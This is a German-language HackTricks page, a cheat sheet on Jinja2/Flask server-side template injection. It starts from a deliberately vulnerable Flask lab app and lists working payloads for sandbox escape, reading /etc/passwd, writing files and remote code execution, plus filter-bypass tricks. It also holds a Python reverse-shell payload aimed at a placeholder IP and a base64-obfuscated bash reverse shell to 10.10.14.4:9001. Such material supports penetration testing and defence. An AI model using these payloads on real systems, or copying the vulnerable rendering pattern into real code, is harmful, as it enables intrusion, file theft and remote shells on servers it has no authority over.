Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Lab
from flask import Flask, request, render_template_stringapp =Flask(__name__)@app.route("/")defhome():if request.args.get('c'):returnrender_template_string(request.args.get('c'))else:return"Hello, send someting inside the param 'c'!"if__name__=="__main__":app.run()
Debug-Anweisung
Wenn die Debug-Erweiterung aktiviert ist, steht ein debug-Tag zur Verfügung, um den aktuellen Kontext sowie die verfügbaren Filter und Tests anzuzeigen. Dies ist nützlich, um zu sehen, was im Template verwendet werden kann, ohne einen Debugger einrichten zu müssen.
{{ config }}#In these object you can find all the configured env variables{%for key, value in config.items()%}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
Jinja Injection
Zunächst einmal müssen Sie bei einer Jinja-Injektion einen Weg finden, um aus dem Sandbox auszubrechen und Zugriff auf den regulären Python-Ausführungsfluss wiederherzustellen. Dazu müssen Sie Objekte missbrauchen, die aus der nicht-sandboxierten Umgebung stammen, aber aus der Sandbox zugänglich sind.
Zugriff auf globale Objekte
Zum Beispiel kommen in dem Code render_template("hello.html", username=username, email=email) die Objekte username und email aus der nicht-sandboxierten Python-Umgebung und werden innerhalb der sandboxierten Umgebung zugänglich sein.
Darüber hinaus gibt es andere Objekte, die immer aus der sandboxierten Umgebung zugänglich sein werden, diese sind:
[]
''
()
dict
config
request
Wiederherstellung von <class 'object'>
Dann müssen wir von diesen Objekten zur Klasse <class 'object'> gelangen, um zu versuchen, definierte Klassen wiederherzustellen. Dies liegt daran, dass wir von diesem Objekt aus die Methode __subclasses__ aufrufen können und auf alle Klassen aus der nicht-sandboxed Python-Umgebung zugreifen können.
Um auf diese Objektklasse zuzugreifen, müssen Sie auf ein Klassenobjekt zugreifen und dann entweder auf __base__, __mro__()[-1] oder .mro()[-1] zugreifen. Und dann, nachdem Sie diese Objektklasse erreicht haben, rufen wir __subclasses__() auf.
Überprüfen Sie diese Beispiele:
# To access a class object[].__class__''.__class__()["__class__"] # You can also access attributes like thisrequest["__class__"]config.__class__dict#It's already a class# From a class to access the class "object".## "dict" used as example from the previous list:dict.__base__dict["__base__"]dict.mro()[-1]dict.__mro__[-1](dict|attr("__mro__"))[-1](dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]# From the "object" class call __subclasses__(){{dict.__base__.__subclasses__()}}{{dict.mro()[-1].__subclasses__()}}{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))()}}{%with a = dict.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Other examples using these ways{{ ().__class__.__base__.__subclasses__()}}{{ [].__class__.__mro__[-1].__subclasses__()}}{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))()}}{{ request.__class__.mro()[-1].__subclasses__()}}{%with a = config.__class__.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Not sure if this will work, but I saw it somewhere{{ [].class.base.subclasses()}}{{''.class.mro()[1].subclasses()}}
RCE Escaping
Nachdem wir <class 'object'> wiederhergestellt und __subclasses__ aufgerufen haben, können wir diese Klassen nun verwenden, um Dateien zu lesen und zu schreiben und Code auszuführen.
Der Aufruf von __subclasses__ hat uns die Möglichkeit gegeben, auf hunderte neuer Funktionen zuzugreifen, wir werden zufrieden sein, wenn wir nur auf die Dateiklasse zugreifen können, um Dateien zu lesen/schreiben oder auf eine Klasse mit Zugriff auf eine Klasse, die es erlaubt, Befehle auszuführen (wie os).
Remote Datei lesen/schreiben
# ''.__class__.__mro__[1].__subclasses__()[40] = File class{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !')}}
Fernausführung (RCE)
# The class 396 is the class <class 'subprocess.Popen'>{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}# Without '{{' and '}}'<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
## Passing the cmd line ?cmd=id, Without " and '{{dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip()}}
Um mehr über weitere Klassen zu erfahren, die Sie zum Escapen verwenden können, können Sie überprüfen:
Diese Bypasses ermöglichen es uns, auf die Attribute der Objekte zuzugreifen, ohne einige Zeichen zu verwenden.
Wir haben bereits einige dieser Bypasses in den Beispielen zuvor gesehen, aber lassen Sie uns sie hier zusammenfassen:
# Without quotes, _, [, ]## Basic onesrequest.__class__request["__class__"]request['\x5f\x5fclass\x5f\x5f']request|attr("__class__")request|attr(["_"*2,"class","_"*2]|join) # Join trick## Using request object optionsrequest|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to stringhttp://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_# Using with{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
Von den globalen Objekten gibt es einen weiteren Weg, um RCE zu erreichen, ohne diese Klasse zu verwenden.
Wenn es Ihnen gelingt, auf eine Funktion aus diesen globalen Objekten zuzugreifen, können Sie auf __globals__.__builtins__ zugreifen, und von dort aus ist die RCE sehr einfach.
Sie können Funktionen aus den Objekten request, config und jedem anderen interessanten globalen Objekt, auf das Sie Zugriff haben, finden mit:
{{ request.__class__.__dict__ }}-application-_load_form_data-on_json_loading_failed{{ config.__class__.__dict__ }}-__init__-from_envvar-from_pyfile-from_object-from_file-from_json-from_mapping-get_namespace-__repr__# You can iterate through children objects to find more
Sobald Sie einige Funktionen gefunden haben, können Sie die integrierten Funktionen mit folgendem Befehl wiederherstellen:
# Read file{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read()}}# RCE{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read()}}{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
## Extra## The global from config have a access to a function called import_string## with this function you don't need to access the builtins{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read()}}# All the bypasses seen in the previous sections are also valid